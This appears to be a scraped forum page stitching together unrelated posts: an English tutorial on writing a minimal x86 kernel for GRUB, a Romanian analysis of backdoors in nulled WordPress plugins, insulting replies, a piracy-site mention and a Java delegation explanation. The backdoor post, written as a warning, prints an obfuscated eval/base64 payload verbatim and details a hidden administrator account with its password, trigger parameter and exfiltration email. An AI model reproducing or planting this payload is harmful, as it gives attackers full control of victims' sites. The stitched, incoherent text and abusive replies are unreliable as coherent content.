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Hello World, Let us write a simple kernel which could be loaded with the GRUB bootloader on an x86 system. This kernel will display a message on the screen and then hang. How does an x86 machine boot Before we think about writing a kernel, let’s see how the machine boots up and transfers control to the kernel: The x86 CPU is hardwired to begin execution at the physical address [0xFFFFFFF0]. It is in fact, the last 16 bytes of the 32-bit address space. This address just contains a jump instruction to the address in memory where BIOS has copied itself. Thus, the BIOS code starts its execution. BIOS first searches for a bootable device in the configured boot device order. It checks for a certain magic number to determine if the device is bootable or not. Once the BIOS has found a bootable device, it copies the contents of the device’s first sector into RAM starting from physical address [0x7c00]; and then jumps into the address and executes the code just loaded. This code is called the bootloader. The bootloader then loads the kernel at the physical address [0x100000]. The address [0x100000] is used as the start-address for all big kernels on x86 machines. What all do we need? * An x86 computer (of course) * Linux * NASM assembler * gcc * ld (GNU Linker) * grub Source Code Source code is available at my Github repository - mkernel The entry point using assembly We like to write everything in C, but we cannot avoid a little bit of assembly. We will write a small file in x86 assembly-language that serves as the starting point for our kernel. All our assembly file will do is invoke an external function which we will write in C, and then halt the program flow. How do we make sure that this assembly code will serve as the starting point of the kernel? We will use a linker script that links the object files to produce the final kernel executable. (more explained later) In this linker script, we will explicitly specify that we want our binary to be loaded at the address [0x100000]. This address, as I have said earlier, is where the kernel is expected to be. Thus, the bootloader will take care of firing the kernel’s entry point. Here’s the assembly code: ;;kernel.asm bits 32 ;nasm directive - 32 bit section .text global start extern kmain ;kmain is defined in the c file start: cli ;block interrupts call kmain hlt ;halt the CPU The first instruction bits 32 is not an x86 assembly instruction. It’s a directive to the NASM assembler that specifies it should generate code to run on a processor operating in 32 bit mode. It is not mandatorily required in our example, however is included here as it’s good practice to be explicit. The second line begins the text section (aka code section). This is where we put all our code. global is another NASM directive to set symbols from source code as global. By doing so, the linker knows where the symbol start is; which happens to be our entry point. kmain is our function that will be defined in our kernel.c file. extern declares that the function is declared elsewhere. Then, we have the start function, which calls the kmain function and halts the CPU using the hlt instruction. Interrupts can awake the CPU from an hlt instruction. So we disable interrupts beforehand using cli instruction. cli is short for clear-interrupts. The kernel in C In kernel.asm, we made a call to the function kmain(). So our C code will start executing at kmain(): /* * kernel.c */ void kmain(void) { char *str = "my first kernel"; char *vidptr = (char*)0xb8000; //video mem begins here. unsigned int i = 0; unsigned int j = 0; //clear all while(j < 80 * 25 * 2) { //blank character vidptr[j] = ' '; //attribute-byte: light grey on black screen vidptr[j+1] = 0x07; j = j + 2; } j = 0; while(str[j] != '\0') { vidptr[i] = str[j]; vidptr[i+1] = 0x07; ++j; i = i + 2; } return; } All our kernel will do is clear the screen and write to it the string “my first kernel”. First we make a pointer vidptr that points to the address [0xb8000]. This address is the start of video memory in protected mode. The screen’s text memory is simply a chunk of memory in our address space. The memory mapped input/output for the screen starts at [0xb8000] and supports 25 lines, each line contain 80 ascii characters. Each character element in this text memory is represented by 16 bits (2 bytes), rather than 8 bits (1 byte) which we are used to. The first byte should have the representation of the character as in ASCII. The second byte is the attribute-byte. This describes the formatting of the character including attributes such as color. To print the character s in green color on black background, we will store the character s in the first byte of the video memory address and the value [0x02] in the second byte. 0 represents black background and 2 represents green foreground. Have a look at table below for different colors: 0 - Black, 1 - Blue, 2 - Green, 3 - Cyan, 4 - Red, 5 - Magenta, 6 - Brown, 7 - Light Grey, 8 - Dark Grey, 9 - Light Blue, 10/a - Light Green, 11/b - Light Cyan, 12/c - Light Red, 13/d - Light Magenta, 14/e - Light Brown, 15/f – White. In our kernel, we will use light grey character on a black background. So our attribute-byte must have the value [0x07]. In the first while loop, the program writes the blank character with [0x07] attribute all over the 80 columns of the 25 lines. This thus clears the screen. In the second while loop, characters of the null terminated string “my first kernel” are written to the chunk of video memory with each character holding an attribute-byte of [0x07]. This should display the string on the screen. The linking part We will assemble kernel.asm with NASM to an object file; and then using GCC we will compile kernel.c to another object file. Now, our job is to get these objects linked to an executable bootable kernel. For that, we use an explicit linker script, which can be passed as an argument to ld (our linker). /* * link.ld */ OUTPUT_FORMAT(elf32-i386) ENTRY(start) SECTIONS { . = 0x100000; .text : { *(.text) } .data : { *(.data) } .bss : { *(.bss) } } First, we set the output format of our output executable to be 32 bit Executable and Linkable Format (ELF). ELF is the standard binary file format for Unix-like systems on x86 architecture. ENTRY takes one argument. It specifies the symbol name that should be the entry point of our executable. SECTIONS is the most important part for us. Here, we define the layout of our executable. We could specify how the different sections are to be merged and at what location each of these is to be placed. Within the braces that follow the SECTIONS statement, the period character (.) represents the location counter. The location counter is always initialized to [0x0] at beginning of the SECTIONS block. It can be modified by assigning a new value to it. Remember, earlier I told you that kernel’s code should start at the address [0x100000]. So, we set the location counter to [0x100000]. Have look at the next line .text : { *(.text) } The asterisk is a wildcard character that matches any file name. The expression *(.text) thus means all .text input sections from all input files. So, the linker merges all text sections of the object files to the executable’s text section, at the address stored in the location counter. Thus, the code section of our executable begins at [0x100000]. After the linker places the text output section, the value of the location counter will become 0x1000000 + the size of the text output section. Similarly, the data and bss sections are merged and placed at the then values of location-counter. Grub and Multiboot Now, we have all our files ready to build the kernel. But, since we like to boot our kernel with the GRUB bootloader, there is one step left. There is a standard for loading various x86 kernels using a boot loader; called as Multiboot specification. GRUB will only load our kernel if it complies with the Multiboot spec. According to the spec, the kernel must contain a header (known as Multiboot header) within its first 8 KiloBytes. Further, This Multiboot header must contain 3 fields that are 4 byte aligned namely: a magic field: containing the magic number [0x1BADB002], to identify the header. a flags field: We will not care about this field. We will simply set it to zero. a checksum field: the checksum field when added to the fields ‘magic’ and ‘flags’ must give zero. So our kernel.asm will become: ;;kernel.asm ;nasm directive - 32 bit bits 32 section .text ;multiboot spec align 4 dd 0x1BADB002 ;magic dd 0x00 ;flags dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero global start extern kmain ;kmain is defined in the c file start: cli ;block interrupts call kmain hlt ;halt the CPU The dd defines a double word of size 4 bytes. Building the kernel We will now create object files from kernel.asm and kernel.c and then link it using our linker script. nasm -f elf32 kernel.asm -o kasm.o will run the assembler to create the object file kasm.o in ELF-32 bit format. gcc -m32 -c kernel.c -o kc.o The ‘-c ’ option makes sure that after compiling, linking doesn’t implicitly happen. ld -m elf_i386 -T link.ld -o kernel kasm.o kc.o will run the linker with our linker script and generate the executable named kernel. Configure your grub and run your kernel GRUB requires your kernel to be of the name pattern kernel-<version>. So, rename the kernel. I renamed my kernel executable to kernel-701. Now place it in the /boot directory. You will require superuser privileges to do so. In your GRUB configuration file grub.cfg you should add an entry, something like: title myKernel root (hd0,0) kernel /boot/kernel-701 ro Don’t forget to remove the directive hiddenmenu if it exists. Reboot your computer, and you’ll get a list selection with the name of your kernel listed. Select it and you should see: That’s your kernel!! PS: * It’s always advisable to get yourself a virtual machine for all kinds of kernel hacking. * To run this on grub2 which is the default bootloader for newer distros, your config should look like this (Thanks to Rubén Laguna from comments for the config): menuentry 'kernel 7001' { set root='hd0,msdos1' multiboot /boot/kernel-7001 ro } * Also, if you want to run the kernel on the qemu emulator instead of booting with GRUB, you can do so by: qemu-system-i386 -kernel kernel Sursa: Kernel 101 – Let’s write a Kernel - Arjun Sreedharan

Vad in ultima perioada o multime de lume intreband de chestii nulled, pentru ca totul e roz bombon cand vine vorba de Internet, stim cu totii. Am sa va arat cateva exemple sa vedeti ce va ofera pluginurile/temele/scripturile nulled, fata de versiunile oficiale: SEOPressor - Pret original: 47$ + Chestia asta e chiar de pe un site romanesc. Pluginul era instalat in directorul wp-content/plugins/seo-pressor(gratuit). Deja cuvantul "gratuit" forma o idee generala despre continutul directorului. Folosind un plugin de scan, s-a gasit urmatorul cod in site (seo-pressor(gratuit)/classes/central.class.php): eval (gzinflate( base64 _decode("NdLJlmNQAADQX8muqo6FIKZTXV0HEUKixCybPsIzBOGZHu/ruzf9B3dxd9+/f333Zb8DS9Ls3gtcvfImmcD7IxkBd/ iTgbTLwPublZ2MEZ6RJB1vkD/yYYV8OdYhuTCXwq+1882AVrOXpUJzbr507gkxWLZRYOfc5llCsyRMdIZxv+sW6N0ICq6h6Bm/ 5us1pVADcjlCnsm5tttpIWyHnzkwyMqVJTOupEbLBCE50lcVtKnLKc999/JlZDWRcO8yqve1TKRiND7ZXnsJBW5L0zwJVuFQMQmXgTPLNZnw/PCObVCZ+YO56TOih0TzlIvhqgqpH+jUUgfVXVFrVPDRk6eKdDL1aNQgr2J5wB5Z0GErnQ3muWGF6ktS9a27sYinLuRjpUrQK6GktGCw+pMNqVq84FQCnQBKqUw3vjvT6B8ZyJAgDuEcimHia1660nhruAX71qNCOBjmvMw9q6DN4ukIgufPUyQNmX9ao1YPak6p96OGzSZoj86NPlkXEWnUvSBQzJouKDYxdsKoOTDeA3sxP17dWfxxs4S8HyeWkcYWsmMYieaS2TVR0RfOgw2Xygbrv6I03xIkKlQNfGUTmj4wsOgQdvailUayKYpaL8EVwG1aJTgcMufcgbogTeEAtf1pXp6EzYiru0XYPkcCT/I6+vp623187D4+d/+L/QU=" )) ); Dupa decriptare: Deci, exista doua functii introduse in "wp_head" => sunt executate la fiecare incarcare de pagina. Prima functie, my_wpfunww7x(), creeaza un utilizator "wordpress" cu parola "gh67io9Cjm" cu permisiuni de administrator. Asta se intampla numai in cazul in care URLul paginii are parametrul "cms" de tip GET cu valoarea "jjoplmh". Ex: Success | .xyz Domain Names | Join Generation XYZ A doua, my_wpfunww7c8(), verifica daca exista utilizatorul. Daca nu, trimite un e-mail catre adresa "thomasasza@gmx.com", cu URLul blogului in subiect si "WordPress Plugin" in continut. Logica e simpla: Cand pluginul e instalat, imediat se trimite un e-mail la adresa celui care a introdus backdoorul (thomasasza@gmx.com) Acesta intra pe blog, si acceseaza ?cms=jjoplmh in URL. Prin accesarea acelui URL, se creeaza utilizatorul cu permisiuni de administrator. Acum el se poate loga pe blog ca si cand al lui si are acces la tot, ceea ce poate duce la lucruri mai grave, cum ar fi compromiterea intregului server. SEOPressor - Pret original: 42$ + Backdoorul se afla in fisierul: wp-content/restrict-content-pro/includes/sidebar.php - #8966576 - Pastie - daca va uitati atent, aproape tot codul este comentat, mai putin urmatoarea chestie: Arata similar, nu? Singura diferenta dintre pluginul precedent este o functie numita diferit (my_wpfunww458, si adresa de e-mail, care decodata devine wordpresssslog@yandex.com Codul de sus se ocupa de partea de trimitere a e-mailului. Cel care creeaza utilizatorul cu drepturi de administrator se afla in fisierul wp-content/restrict-content-pro/includes/class.php - #8966599 - Pastie - aceeasi strategie, aproape tot codul comentat, mai putin: de data asta, folosindu-se de parametrul ?cms=go Si, in ultimul rand, modificarea fisierului wp-content/restrict-content-pro/restrict-content-pro.php pentru a executa cele doua comenzi: wp-content/restrict-content-pro/restrict-content-pro.php Si cam atat, ca e aproape 1 noaptea si deja mi-e somn. Nu luati chestii nulled, daca nu aveti buget inseamna ca nu aveti neaparata nevoie de ele si o alternativa gratuita este ceea ce va trebuie. www.sucuri.net @pr0fw3b think about it.

Baga-te peste Limba romana tu. On: Bun venit si spor la lectii.

Te-ai trezit tu bai asta , am scris acel comentariu pe picior de plecare , nu cred ca esti in stare sa ma corectezi pe mine. Ps:Vezi ca te cauta valium sa va taiati la vene. Edit // : Latest Reputation Received (8 point(s) total) 27-07-2014 07:46 AM Thread: salut Sa taie ma-ta la vene. Chiar atat de ratat poti fi?

eu l-am vazut aici The Expendables 3 (2014) Eroi de sacrificiu 3 | Filme Online Subtitrate Atia au tinut filmul pe pc cu windows xp

Chiar si in programare, multe cuvinte sunt imprumutate din alte domenii pentru a fi mai usor de abstractizat. Delegation - Wikipedia, the free encyclopedia Clasa SpaceShipControls are definite anumite metode. SpaceShipDelegation implementeaza aceleasi metode (au acelasi nume) iar implementarea lor este sa apeleze metodele din SpaceShipControls. Deci daca ai un SpaceShipDelegation deleg = new SpaceShipDelegation("adsa"); si vrei sa apelezi metoda back. Se va apela defapt back din SpaceShipDelegation si pe urma back() din SpaceShipControls. Adica clasa SpaceShipDelegation delega apelul la SpaceShipControls. Cred ca urmeaza sa inveti despre interfete, clase abstracte si polimorfism si asta a fost introducerea.